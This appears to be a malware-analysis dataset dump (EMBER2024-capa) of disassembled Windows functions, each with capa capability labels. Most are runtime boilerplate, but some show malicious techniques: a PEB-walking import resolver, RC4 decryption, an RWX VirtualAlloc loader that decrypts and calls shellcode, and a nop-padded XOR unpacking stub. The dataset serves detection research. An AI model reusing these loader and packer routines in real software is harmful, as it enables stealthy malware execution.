joyce8/EMBER2024-capa huggingface dataset:
Function at 0x50e317
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x56b910]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.004f109e
mov dword [ebp - 0x14], eax
cmp dword [0x57669c], esi
jne 0x50e40a
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x50e397
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x50e4ea
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x50e4ea
push 0x544c78
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x50e4ea
push eax
call ebx
push 0x544c84
push edi
mov dword [0x57669c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x5766a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x5766a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5766ac], eax
test eax, eax
je 0x50e407
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5766a8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x50e42f
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x50e422
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x50e444
push 4
pop eax
jmp 0x50e4ec
cmp dword [ebp - 0x14], esi
je 0x50e444
push dword [0x57669c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x50e429
mov eax, dword [0x5766a8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x50e4a2
cmp dword [0x5766ac], edi
je 0x50e4a2
push eax
call ebx
push dword [0x5766ac]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x50e4a2
test eax, eax
je 0x50e4a2
call ecx
test eax, eax
je 0x50e497
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x50e497
test byte [ebp - 8], 1
jne 0x50e4a2
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x50e4d2
mov eax, dword [0x5766a0]
cmp eax, edi
je 0x50e4cf
push eax
call ebx
test eax, eax
je 0x50e4cf
call eax
mov esi, eax
test esi, esi
je 0x50e4cf
mov eax, dword [0x5766a4]
cmp eax, edi
je 0x50e4cf
push eax
call ebx
test eax, eax
je 0x50e4cf
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x57669c]
call ebx
test eax, eax
je 0x50e4ea
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x50e4ec
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004e1646
mov esp, ebp
pop ebp
ret
Function at 0x4010a0
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push esi
push edi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov esi, dword [eax + 0xc]
mov eax, dword [esi + 0x18]
test eax, eax
je 0x4010df
mov edi, dword [esp + 0x10]
mov esi, dword [esi]
mov ecx, dword [esi + 0x30]
push edi
push ecx
call section..text
add esp, 8
test eax, eax
mov eax, dword [esi + 0x18]
je 0x4010e1
test eax, eax
jne 0x4010c5
xor eax, eax
pop edi
pop esi
pop ecx
ret

Function at 0x4011a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 8
mov eax, dword [0x40a078]
push ebx
push ebp
push esi
push edi
push eax
call fcn.00402b39
mov ecx, dword [0x40a078]
push ecx
mov ebp, eax
call fcn.00402b39
mov edi, dword [0x40a078]
xor ebx, ebx
add esp, 8
cmp edi, ebx
mov ecx, eax
mov dword [esp + 0x10], ebx
jbe 0x401202
sub eax, ebp
mov dword [esp + 0x14], eax
jmp 0x4011e1
mov eax, dword [esp + 0x14]
lea esi, [ebx + ebp]
mov byte [eax + esi], bl
mov eax, ebx
cdq
idiv dword [esp + 0x28]
mov eax, dword [esp + 0x24]
inc ebx
mov dl, byte [edx + eax]
mov byte [esi], dl
mov edi, dword [0x40a078]
cmp ebx, edi
jb 0x4011dd
xor esi, esi
test edi, edi
jbe 0x401240
mov ebx, ecx
sub ebp, ecx
lea esp, [esp]
movzx edx, byte [ebx + ebp]
add edx, dword [esp + 0x10]
mov al, byte [ebx]
movzx eax, al
add eax, edx
xor edx, edx
div edi
mov al, byte [ebx]
inc esi
inc ebx
mov edi, edx
mov dl, byte [edi + ecx]
mov byte [edi + ecx], al
mov byte [ebx - 1], dl
mov dword [esp + 0x10], edi
mov edi, dword [0x40a078]
cmp esi, edi
jb 0x401210
mov edx, dword [esp + 0x20]
xor ebx, ebx
test edx, edx
jle 0x4012aa
mov ebp, dword [esp + 0x2c]
mov eax, dword [esp + 0x1c]
sub eax, ebp
mov dword [esp + 0x14], eax
mov dword [esp + 0x20], edx
jmp 0x401264
mov edi, dword [0x40a078]
xor edx, edx
lea eax, [esi + 1]
div edi
mov esi, edx
movzx eax, byte [esi + ecx]
add eax, ebx
xor edx, edx
div edi
mov ebx, edx
mov dl, byte [esi + ecx]
mov al, byte [ebx + ecx]
mov byte [ebx + ecx], dl
mov byte [esi + ecx], al
movzx edx, byte [ebx + ecx]
movzx eax, al
add eax, edx
xor edx, edx
div dword [0x40a078]
mov al, byte [edx + ecx]
mov edx, dword [esp + 0x14]
xor al, byte [edx + ebp]
inc ebp
mov byte [ebp - 1], al
dec dword [esp + 0x20]
jne 0x40125e
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x401980
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
push ebp
push esi
xor esi, esi
mov dword [esp + 0xc], esi
xor ebp, ebp
call fcn.004012c0
test eax, eax
jne 0x4019b8
push str.kernel32.dll
call fcn.004010a0
add esp, 4
test eax, eax
je 0x4019b8
push 0x4081b8
push 0x400000
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
lea eax, [esp + 0xc]
push eax
push 0x407
push 0x8e9
push 0xeca
call fcn.004010f0
mov ebx, eax
add esp, 0x10
cmp ebx, esi
je 0x401a05
push edi
mov edi, dword [esp + 0x10]
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x401a04
push esi
push 0x38
push str.L7fabJ4Kk2QI3OvmRdrXI_Pr_lk1se_nHGi1hMAlzL60_fBQ_0_R_
push edi
push ebx
call ebp
add esp, 0x14
pop edi
call esi
mov esi, dword [esp + 0x14]
mov dword [0x40a3e0], esi
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0
push 0x401850
push 0
push 0x65
push esi
call dword [sym.imp.USER32.dll_DialogBoxParamA]
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret 0x10

Function at 0x402230
Capabilities:
Extract resource via kernel32 functions
Identify system language via api

Disassembly:
mov eax, dword [esp + 0x18]
cmp ax, 0xffff
mov dword [esp + 0x18], eax
jne 0x402247
mov eax, dword [0x40a3f8]
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x18]
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FindResourceExA]
push esi
push edi
mov edi, dword [esp + 0x14]
push ecx
push ebx
push 5
push edi
call ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
test esi, esi
jne 0x402294
cmp word [esp + 0x28], ax
je 0x402284
push eax
push ebx
push 5
push edi
call ebp
mov esi, eax
test esi, esi
jne 0x402294
push 5
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4022ab
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4022ab
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
jne 0x4022b3
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push edx
mov edx, dword [esp + 0x20]
push ecx
push edx
push eax
push edi
call dword [sym.imp.USER32.dll_DialogBoxIndirectParamA]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x402880
Capabilities:
Extract resource via kernel32 functions

Disassembly:
sub esp, 0x14
push ebp
push esi
mov esi, ecx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.00402400
mov ebp, dword [eax]
cmp ebp, dword [esi + 4]
je 0x4028b7
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x40297b
pop esi
mov eax, 0x408214
pop ebp
add esp, 0x14
ret 4
mov al, byte [esi + 0x12]
test al, al
jne 0x4028aa
mov ecx, dword [esi + 0xc]
push ebx
mov ebx, dword [esp + 0x24]
xor eax, eax
mov ax, word [esi + 0x10]
push edi
mov edx, ebx
shr edx, 4
inc edx
movzx edi, dx
push eax
push edi
push 6
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
test eax, eax
jne 0x4028f6
mov edx, dword [esi + 0xc]
push 6
push edi
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x402945
push eax
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402945
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x402945
mov ecx, ebx
and ecx, 0xf
jle 0x402921
dec ecx
movzx edx, word [eax]
lea eax, [eax + edx*2 + 2]
jne 0x402917
call fcn.00402300
test eax, eax
je 0x402945
mov dword [esp + 0x18], eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x20]
push ecx
mov ecx, esi
mov dword [esp + 0x1c], ebx
call fcn.004026e0
mov ebp, dword [eax]
cmp ebp, dword [esi + 4]
je 0x402957
mov eax, dword [ebp + 0x10]
pop edi
pop ebx
pop esi
pop ebp
add esp, 0x14
ret 4
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x20]
push eax
mov ecx, esi
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], 0
call fcn.004026e0
pop edi
mov eax, 0x408214
pop ebx
pop esi
pop ebp
add esp, 0x14
ret 4
Function at 0x403589
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x4082c8
call fcn.00405ee8
mov edi, 0x94
mov eax, edi
call fcn.00406040
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x40a448], ecx
mov eax, dword [esi + 4]
mov dword [0x40a454], eax
mov edx, dword [esi + 8]
mov dword [0x40a458], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x40a44c], esi
cmp ecx, 2
je 0x4035e9
or esi, 0x8000
mov dword [0x40a44c], esi
shl eax, 8
add eax, edx
mov dword [0x40a450], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x403624
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403624
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x40363c
cmp eax, 0x20b
je 0x403629
mov dword [ebp - 0x1c], esi
jmp 0x403650
cmp dword [ecx + 0x84], 0xe
jbe 0x403624
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x40364a
cmp dword [ecx + 0x74], 0xe
jbe 0x403624
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push esi
call fcn.00403b89
pop ecx
test eax, eax
jne 0x40367c
cmp dword [0x40a418], 1
jne 0x403669
call fcn.004056b4
push 0x1c
call fcn.0040553d
push 0xff
call fcn.0040536a
pop ecx
pop ecx
call fcn.00405e5d
mov dword [ebp - 4], esi
call fcn.00405cb2
test eax, eax
jge 0x403695
push 0x1b
call fcn.00403564
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40a9d8], eax
call fcn.00405b90
mov dword [0x40a410], eax
call fcn.00405aee
test eax, eax
jge 0x4036bb
push 8
call fcn.00403564
pop ecx
call fcn.004058bb
test eax, eax
jge 0x4036cc
push 9
call fcn.00403564
pop ecx
push 1
call fcn.0040539a
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x4036e2
push eax
call fcn.00403564
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.0040585e
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x403703
movzx eax, word [ebp - 0x40]
jmp 0x403706
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.00401980
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x403724
push edi
call fcn.004054c5
call fcn.004054e7
jmp 0x403756
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00405f23
ret
Function at 0x405404
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
inc esi
cmp dword [0x40a488], esi
push edi
jne 0x405424
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp + 0xc], 0
mov al, byte [ebp + 0x10]
mov dword [0x40a484], esi
mov byte [0x40a480], al
jne 0x40548a
mov ecx, dword [0x40a9a8]
test ecx, ecx
je 0x40546b
mov eax, dword [0x40a9a4]
sub eax, 4
cmp eax, ecx
jmp 0x405464
mov eax, dword [eax]
test eax, eax
je 0x405456
call eax
mov eax, dword [0x40a9a4]
sub eax, 4
cmp eax, dword [0x40a9a8]
mov dword [0x40a9a4], eax
jae 0x40544e
mov eax, 0x40a028
mov esi, 0x40a02c
cmp eax, esi
mov edi, eax
jae 0x40548a
mov eax, dword [edi]
test eax, eax
je 0x405483
call eax
add edi, 4
cmp edi, esi
jb 0x40547b
mov eax, 0x40a030
mov esi, 0x40a038
cmp eax, esi
mov edi, eax
jae 0x4054a9
mov eax, dword [edi]
test eax, eax
je 0x4054a2
call eax
add edi, 4
cmp edi, esi
jb 0x40549a
cmp dword [ebp + 0x10], 0
pop edi
pop esi
jne 0x4054c3
push dword [ebp + 8]
mov dword [0x40a488], 1
call fcn.0040536a
pop ebp
ret

Function at 0x40553d
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x40a168]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x40a180]
je 0x405572
inc eax
cmp eax, 0x13
jb 0x405563
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x40a180]
jne 0x405698
mov eax, dword [0x40a418]
cmp eax, 1
je 0x405670
cmp eax, edx
jne 0x4055a2
cmp dword [0x40a150], 1
je 0x405670
cmp ecx, 0xfc
je 0x405698
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4055d8
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.00405080
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.00403780
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x40560c
mov eax, edi
push eax
call fcn.00403780
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x408750
push edi
call fcn.004061e0
add esp, 0x10
push edi
call fcn.00403780
push dword [esi + 0x40a184]
mov ebx, eax
call fcn.00403780
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00406040
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.00405080
push edi
push ebx
call fcn.00405090
push 0x408730
push ebx
call fcn.00405090
push dword [esi + 0x40a184]
push ebx
call fcn.00405090
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.004060e5
add esp, 0x2c
jmp 0x405698
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x40a184]
push dword [esi]
call fcn.00403780
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.00406335
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x4060e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x40a5a4], ebx
push esi
push edi
jne 0x406165
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4061a0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
mov dword [0x40a5a4], eax
je 0x4061a0
push str.GetActiveWindow
push edi
call esi
push str.GetLastActivePopup
push edi
mov dword [0x40a5a8], eax
call esi
cmp dword [0x40a448], 2
mov dword [0x40a5ac], eax
jne 0x406165
push str.GetUserObjectInformationA
push edi
call esi
test eax, eax
mov dword [0x40a5b4], eax
je 0x406165
push str.GetProcessWindowStation
push edi
call esi
mov dword [0x40a5b0], eax
mov eax, dword [0x40a5b0]
test eax, eax
je 0x4061aa
call eax
test eax, eax
je 0x406191
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x40a5b4]
test eax, eax
je 0x406191
test byte [ebp - 8], 1
jne 0x4061aa
cmp dword [0x40a454], 4
jb 0x4061a4
or byte [ebp + 0x12], 0x20
jmp 0x4061c9
xor eax, eax
jmp 0x4061d9
or byte [ebp + 0x12], 4
jmp 0x4061c9
mov eax, dword [0x40a5a8]
test eax, eax
je 0x4061c9
call eax
mov ebx, eax
test ebx, ebx
je 0x4061c9
mov eax, dword [0x40a5ac]
test eax, eax
je 0x4061c9
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x40a5a4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40676f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x40679d
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x4067a4
cmp ebx, dword [eax + 4]
jae 0x4067a4
xor eax, eax
jmp 0x406994
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x4067b5
xor eax, eax
inc eax
jmp 0x406993
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x4067cb
cmp ecx, edx
jae 0x406910
cmp dword [eax + 4], 0
je 0x4067d4
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x4067bc
cmp dword [ebp + 8], 0
je 0x4067f6
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x406910
cmp eax, esi
jae 0x406910
mov eax, dword [0x40a5c0]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x40681b
cmp dword [esi*4 + 0x40a5c8], edi
je 0x406914
inc esi
cmp esi, eax
jl 0x406809
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x406990
cmp dword [ebp - 8], 0x1000000
jne 0x406990
test byte [ebp - 0xc], 0xcc
je 0x406899
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x406990
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x406990
cmp word [eax + 0x18], 0x10b
jne 0x406990
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x406990
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x406899
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x406899
test byte [ecx + 0x27], 0x80
jne 0x406910
push 1
push 0x40a608
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x4067ad
mov ecx, dword [0x40a5c0]
test ecx, ecx
mov edx, ecx
jle 0x4068cd
lea eax, [ecx*4 + 0x40a5c4]
cmp dword [eax], edi
je 0x4068cd
dec edx
sub eax, 4
test edx, edx
jg 0x4068c1
test edx, edx
jne 0x4068fe
push 0xf
pop ebx
cmp ecx, ebx
jg 0x4068da
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x4068f2
lea eax, [edx*4 + 0x40a5c8]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x4068e0
cmp ecx, 0x10
jge 0x4068fe
inc ecx
mov dword [0x40a5c0], ecx
push 0
push 0x40a608
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x4067ad
xor eax, eax
jmp 0x406993
test esi, esi
jle 0x4067ad
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x40a608
call ebx
test eax, eax
jne 0x4067ad
cmp dword [esi*4 + 0x40a5c8], edi
je 0x40696a
mov eax, dword [0x40a5c0]
lea esi, [eax - 1]
test esi, esi
jl 0x406958
cmp dword [esi*4 + 0x40a5c8], edi
je 0x406954
dec esi
jns 0x406948
test esi, esi
jge 0x406968
cmp eax, 0x10
jge 0x406963
inc eax
mov dword [0x40a5c0], eax
lea esi, [eax - 1]
jmp 0x40696a
je 0x406982
xor ecx, ecx
test esi, esi
jl 0x406982
lea eax, [ecx*4 + 0x40a5c8]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x406970
push 0
push 0x40a608
call ebx
jmp 0x4067ad
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40748c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00406040
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x407527
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x40a448]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x407527
cmp eax, 1
je 0x407548
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x407527
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x4074f4
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x407523
xor eax, eax
inc eax
jmp 0x407567
cmp edi, eax
jae 0x40752b
xor eax, eax
jmp 0x407567
cmp eax, esi
jae 0x407532
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x40a448]
jmp 0x40754b
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
jmp 0x403a1c
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405220], eax
mov dword [0x4051a8], 0x403098
mov dword [0x4051a4], 2
jmp 0x403a4c
mov dword [0x4051ac], 0
mov dword [0x4051b0], 0
mov dword [0x4051a0], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051b4], eax
mov dword [0x4051c8], 0x40426e
mov dword [0x4051c0], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051b8], eax
mov dword [0x4051cc], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051bc], eax
push 0x4051a0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.justam
push 0x40426e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405218], eax
push 5
push dword [0x405218]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405218]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x403b1f
push 0
push 0
push 0
push 0x4051d0
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x403b4c
push 0x4051d0
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x4051d0
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x403b1f
mov eax, dword [0x4051d8]
jmp 0x403b59
call 0x402be1
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x3806d4
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x6ffc5473
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219